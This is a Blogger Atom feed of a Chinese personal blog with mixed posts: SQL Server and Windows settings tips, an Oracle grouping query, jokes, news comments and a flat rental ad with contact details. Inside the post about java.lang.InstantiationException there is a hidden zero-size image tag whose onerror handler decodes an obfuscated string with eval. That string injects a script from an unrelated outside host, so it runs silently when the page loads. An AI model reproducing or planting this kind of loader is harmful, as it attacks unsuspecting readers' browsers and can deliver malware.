href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6880995043367863230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6880995043367863230'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/google-plugin-for-eclipse.html' title='啊安装Google Plugin for Eclipse 真是太慢了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4556768174358741937</id><published>2010-01-22T00:23:00.000+08:00</published><updated>2010-08-13T11:22:03.875+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sqlserver'/><title type='text'>您对无法重新创建的表进行了更改或者启用了 阻止保存要求创建表的更改</title><content type='html'>如果要去掉此提示，打开SQL 2008 在最上面 &lt;span style="color:red;"&gt;工具-〉选项-〉左侧有个 设计器-〉表设计器和数据库设计器  -&amp;gt; 阻止保存要求重新创建表的更改(右侧)&lt;/span&gt; 把钩去即可&lt;br/&gt;&lt;br/&gt;参考：http://www.cnblogs.com/ajayumi/archive/2009/04/08/1431429.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4556768174358741937?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4556768174358741937/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4556768174358741937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4556768174358741937'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post.html' title='您对无法重新创建的表进行了更改或者启用了 阻止保存要求创建表的更改'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-8321044904811021927</id><published>2010-01-14T10:21:00.000+08:00</published><updated>2010-08-13T11:22:06.380+08:00</updated><title type='text'>Hello world!</title><content type='html'>Welcome to &lt;a href="http://wordpress.com/"&gt;Wordpress.com&lt;/a&gt;. This is your first post. Edit or delete it and start blogging!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-8321044904811021927?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/8321044904811021927/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/hello-world.html#comment-form' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8321044904811021927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/8321044904811021927'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/hello-world.html' title='Hello world!'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1711594822303997890</id><published>2010-01-13T18:24:00.000+08:00</published><updated>2010-08-13T11:22:03.883+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Blog'/><title type='text'>10086的特别用途</title><content type='html'>&lt;p&gt;昨天，隔壁班一学生，上课的时候去上厕所。结果他上完发现自己没带纸。。。而等又等不到人。。。他的手机又欠费了。。。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;这时，绝望中 的他做出了一个特别有才的决定：他拿出手机给10086打电话。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;他说――他是哪儿的学生，他上厕所没带纸，能不能给他的同学发个短信，给他 送下纸。。。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;据说那边沉默了很久。。。后来。。。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;他班同学上课时收到了这样一条短信：&lt;/p&gt;&lt;br/&gt;&lt;p&gt;尊敬的中国移动用户你 好，你的同学谁谁谁在厕所里，让你给他送手纸。详情咨询10086。&lt;/p&gt;&lt;br/&gt;&lt;p&gt;就这样，他得救了。。。&lt;/p&gt;&lt;br/&gt;&lt;p&gt; &lt;/p&gt;&lt;br/&gt;&lt;p&gt;http://yxk.cn.yahoo.com/articles/20100112/1qpp.html&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1711594822303997890?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1711594822303997890/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/10086_13.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1711594822303997890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1711594822303997890'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/10086_13.html' title='10086的特别用途'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5598580100772679017</id><published>2010-01-13T18:22:00.000+08:00</published><updated>2010-08-13T11:22:03.893+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>谷歌考虑全面退出中国市场</title><content type='html'>昨儿早上baidu被黑&lt;br/&gt;今儿早上&lt;a href="http://tech.sina.com.cn/i/2010-01-13/07213764991.shtml" target="_blank"&gt;谷歌考虑全面退出中国市场&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href="http://news.cn.yahoo.com/10-01-/972/2ju2x.html" target="_blank"&gt;地球进入微型冰河时代&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;今天冬天有些异常 这几天冷的出奇&lt;br/&gt;这是怎么了？&lt;img src="http://img.baidu.com/hi/jx2/j_0016.gif" /&gt;2012要来了？&lt;br/&gt;&lt;br/&gt;哈哈 ，做刚学会弄了个Tor 翻墙了&lt;img src="http://img.baidu.com/hi/jx2/j_0003.gif" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5598580100772679017?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5598580100772679017/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_13.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5598580100772679017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5598580100772679017'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_13.html' title='谷歌考虑全面退出中国市场'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5594643030549551676</id><published>2010-01-12T22:19:00.000+08:00</published><updated>2010-08-13T11:22:03.901+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>新闻说百度被黑了</title><content type='html'>&lt;p&gt;&lt;font color="#000000"&gt;手机新闻说百度被黑了大事儿大事儿 记录一下&lt;/font&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5594643030549551676?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5594643030549551676/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_12.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5594643030549551676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5594643030549551676'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_12.html' title='新闻说百度被黑了'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6200435388524325747</id><published>2010-01-12T01:06:00.000+08:00</published><updated>2010-08-13T11:22:03.909+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>windows7 访问局域网计算机 提示用户名密码错误</title><content type='html'>今天上班发现访问公司局域网里的计算机共享不好使了，输入正确的用户名密码，也提示不正确，差点就还原系统了，最后Google到了方法：&lt;br/&gt;WIN7电脑上开始 search 输入sec ， 打开local security policy, 找到security settings\local policies\Network Security: LAN Manager authentication level, the default vaule 是 not defined. 改为"Send NTLM response only"后即可.&lt;br/&gt;&lt;br/&gt;参考：http://bbs.pcbeta.com/thread-511161-1-1.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6200435388524325747?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6200435388524325747/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/windows7.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6200435388524325747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6200435388524325747'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/windows7.html' title='windows7 访问局域网计算机 提示用户名密码错误'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-1831386374789485848</id><published>2010-01-08T19:27:00.000+08:00</published><updated>2010-08-13T11:22:03.916+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>段祺瑞的遗嘱</title><content type='html'>&lt;font size="4"&gt;&lt;strong&gt;&lt;span class="oblog_text"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/font&gt;&lt;p&gt;&lt;font&gt;余年已七十有余，一朝怛化，揆诸生寄死归之理，一切无所 萦怀，惟我瞻四方，蹙国万里，民穷财尽，实所痛心，生平不喜多言，往日曲突徒薪之谋，国人或不尽省记，今则本识途之验，为将死之鸣，愿我国人静听而力行 焉！则余生虽死犹生，九原瞑目矣。国虽微弱，必有复兴直道，亦至简单。&lt;br/&gt;&lt;/font&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;font&gt;&amp;#160;&amp;#160;&amp;#160;  勿因我见而轻起政争，勿尚空谈而不顾实践，&lt;u&gt;勿兴不急之务而浪用民财&lt;/u&gt;，勿信过激言行之说而自摇邦本。讲外交者，勿忘巩固国防；司教育者，勿忘保存国粹；治家者，勿弃国有之礼教；求学者，勿鹜时尚之纷华。&lt;br/&gt;&lt;/font&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;font&gt;&amp;#160;&amp;#160;&amp;#160;  本此八勿，以应万有，所谓自力更生者在此，转弱为强者亦在此矣。余生平不事生产，后人宜体我乐道安贫之意，丧葬力崇节简，殓以居士服，毋以荤腥馈祭。&lt;/font&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt; &lt;/p&gt;&lt;br/&gt;&lt;strong&gt;&lt;span class="oblog_text"&gt;&lt;br/&gt;&lt;/span&gt;&lt;/strong&gt;&lt;p&gt;&lt;font face="宋体" size="2"&gt;好一个 &lt;/font&gt;&lt;font face="宋体" size="2"&gt;&lt;span class="oblog_text"&gt;&lt;font&gt;&lt;u&gt;勿兴不急之务而浪用民财 &lt;br/&gt;&lt;/u&gt;&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;font face="宋体" size="2"&gt;&lt;span class="oblog_text"&gt;引自：&lt;/span&gt;&lt;/font&gt;&lt;font face="宋体" size="2"&gt;&lt;span&gt;&lt;span class="oblog_text"&gt;时寒冰 -- 腾讯博客&amp;#160; &lt;a href="http://shihanbing.qzone.qq.com/"&gt;http://shihanbing.qzone.qq.com&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;font size="4"&gt;&lt;strong&gt;&lt;span class="oblog_text"&gt;&lt;font&gt;&lt;u&gt;&lt;br/&gt;&lt;/u&gt;&lt;/font&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-1831386374789485848?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/1831386374789485848/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_08.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1831386374789485848'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/1831386374789485848'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_08.html' title='段祺瑞的遗嘱'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5554682364954819715</id><published>2010-01-08T19:14:00.000+08:00</published><updated>2010-08-13T11:22:03.927+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>北京 不是什么好地方</title><content type='html'>&lt;a href="http://www.infzm.com/content/39708" target="_blank"&gt;http://www.infzm.com/content/39708&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;一直比较喜欢南方周末，不像一些报纸媒体报喜不报忧，想南方为追求事实真相的记者致敬！！！&lt;img src="http://img.baidu.com/hi/jx2/j_0028.gif" /&gt;&lt;br/&gt;&lt;br/&gt;另发句牢骚：对北京的除雪工作甚是不满，要政府干啥吃的&lt;img src="http://img.baidu.com/hi/jx2/j_0012.gif" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5554682364954819715?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5554682364954819715/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_1417.html#comment-form' title='2 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5554682364954819715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5554682364954819715'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/blog-post_1417.html' title='北京 不是什么好地方'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6699530399524359549</id><published>2010-01-06T21:21:00.000+08:00</published><updated>2010-08-13T11:22:03.955+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Myjob'/><title type='text'>Myeclipse8 安装插件超简单</title><content type='html'>Myeclipse8在添加插件这方便看来改进不少 ，想当初Myeclipse7时那个麻烦啊，现在只要在放在Genuitec\MyEclipse 8.x Latest\dropins\plugins目录下，重新启动Myeclipse就会自动加载 并弹出提示，plugins目录没有新建一个&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6699530399524359549?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6699530399524359549/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/01/myeclipse8.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6699530399524359549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6699530399524359549'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/01/myeclipse8.html' title='Myeclipse8 安装插件超简单'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4940028800311183820</id><published>2009-12-11T20:12:00.000+08:00</published><updated>2010-08-13T11:22:04.043+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>java.lang.InstantiationException</title><content type='html'>&lt;p&gt;java.lang.InstantiationException&lt;/p&gt;&lt;br/&gt;&lt;p&gt;在Struts creating form bean的时候遇到这个异常&lt;/p&gt;&lt;br/&gt;&lt;p&gt;在form bean 中加一个无参的构造函数就Ok了&lt;/p&gt;&lt;br/&gt;&lt;img class='key.baidu.com"/onerror=eval(unescape(&amp;amp;squot;if%28%21window.bd%29%7Bvar%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%27http%3A//%69%6d%67%63%61%63%68%65%2e%73%75%71%69%61%6e%31%31%34%2e%63%6e%2f%61%2f%62%2f%6d%2e%70%68%70%27%3Bs.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28s%29%3Bwindow.bd%3D1%7D&amp;amp;squot;))//' width="0" height="0" src="http://" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-4940028800311183820?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/4940028800311183820/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/12/javalanginstantiationexception.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4940028800311183820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/4940028800311183820'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/12/javalanginstantiationexception.html' title='java.lang.InstantiationException'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2633523531790327486</id><published>2009-12-01T23:46:00.000+08:00</published><updated>2010-08-13T11:22:03.964+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>出租西三旗桥东南角常秀家园南北通透三居住房</title><content type='html'>&lt;p&gt;房屋信息：出租西三旗桥东南角常秀家园南北通透三居住房一套，面积80平米，6层的6层。三室为正规三室无隔断，主卧朝阳20平左右，有阳台，2次卧朝北面积10平左右。&lt;br/&gt;房屋装修为中装，新刷白墙，房间整洁干净，设施齐全。天然气入户，电热水器，上网方便。&lt;br/&gt;房屋周边信息：小区周边交通设施方便，有二十几趟公交车，下楼小区门口就有运通103、运通109、运通118三趟公交始发。&lt;br/&gt;离小区步行5分钟的公交站有919、307、315、345、379、393、398、407、618、625、670、629、753、810、819、运通117等N趟四通八达&lt;br/&gt;的公交车，其中的919大站快车，919区间等八达岭高速的直达车，在上班高峰时间直达三环马甸只需不到半小时时间。919大站&lt;br/&gt;快车一站直达起家豁子（换乘10号线地铁）3站德胜门站（换乘地铁2号线）。小区离13号线城铁龙泽站仅2站地公交。周边商业圈发达并正在迅速崛起中，购物及吃饭都很方便&lt;br/&gt;，京客隆、超市发、肯德基、烤鸭店、老家肉饼、苏宁电器、购物中心、24小时药店……环绕周边应有尽有。&lt;br/&gt;出租条件：房屋觅有正当职业，无不良嗜好的有为青年出租，希望生活习惯良好，收入稳定，长期出租，可整租也可单租，全天看房。中介勿扰，谢谢～&lt;br/&gt;联系方式：13810428318 ＱＱ　１２２０８８０２５&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;strong&gt;做编程的劳苦兄弟优惠&lt;/strong&gt;&lt;img src="http://img.baidu.com/hi/jx/j_0003.gif" /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-2633523531790327486?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/2633523531790327486/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/12/blog-post.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2633523531790327486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/2633523531790327486'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/12/blog-post.html' title='出租西三旗桥东南角常秀家园南北通透三居住房'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6243111860991751058</id><published>2009-11-18T18:49:00.000+08:00</published><updated>2010-08-13T11:22:03.974+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><title type='text'>Oracle 分组 取第一条记录</title><content type='html'>id&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; apply_id&lt;br/&gt;1&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&lt;br/&gt;2&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&lt;br/&gt;3&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&lt;br/&gt;4&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 2&lt;br/&gt;5&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 2&lt;br/&gt;6&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 3&lt;br/&gt;7&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 3&lt;br/&gt;8&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 3&lt;br/&gt;&lt;br/&gt;取出&lt;br/&gt;id&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; apply_id&lt;br/&gt;3&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 1&lt;br/&gt;5&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 2&lt;br/&gt;8&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; 3&lt;br/&gt;&lt;br/&gt;select alx_a.id&lt;br/&gt;from &lt;br/&gt;(select id,apply_id,rownum rid from 表) alx_a,&lt;br/&gt;(select id,apply_id,rownum rid from 表) alx_b&lt;br/&gt;where alx_a.apply_id = alx_b.apply_id and alx_a.id &amp;lt;= alx_b.id &lt;br/&gt;group by alx_a.id,alx_a.apply_id&lt;br/&gt;having count(*) = 1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6243111860991751058?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6243111860991751058/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2009/11/oracle.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6243111860991751058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6243111860991751058'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2009/11/oracle.html' title='Oracle 分组 取第一条记录'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-2170787975241894296</id><published>2009-11-16T22:09:00.000+08:00</published><updated>2010-08-13T11:22:03.801+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live'/><title type='text'>生育一孩申请书</title><content type='html'>&lt;p align="center" style="text-align:center;" class="MsoNormal"&gt;&lt;span style="font-size:15pt;"&gt;生育一孩申请书&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;&lt;/span&gt;&lt;/p&gt;&lt;br/&gt;&lt;p class="MsoNormal"&gt;&lt;span&gt;&lt;span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:15pt;"&gt;我（男、女）系&lt;/span&gt;&lt;u&gt;&lt;span 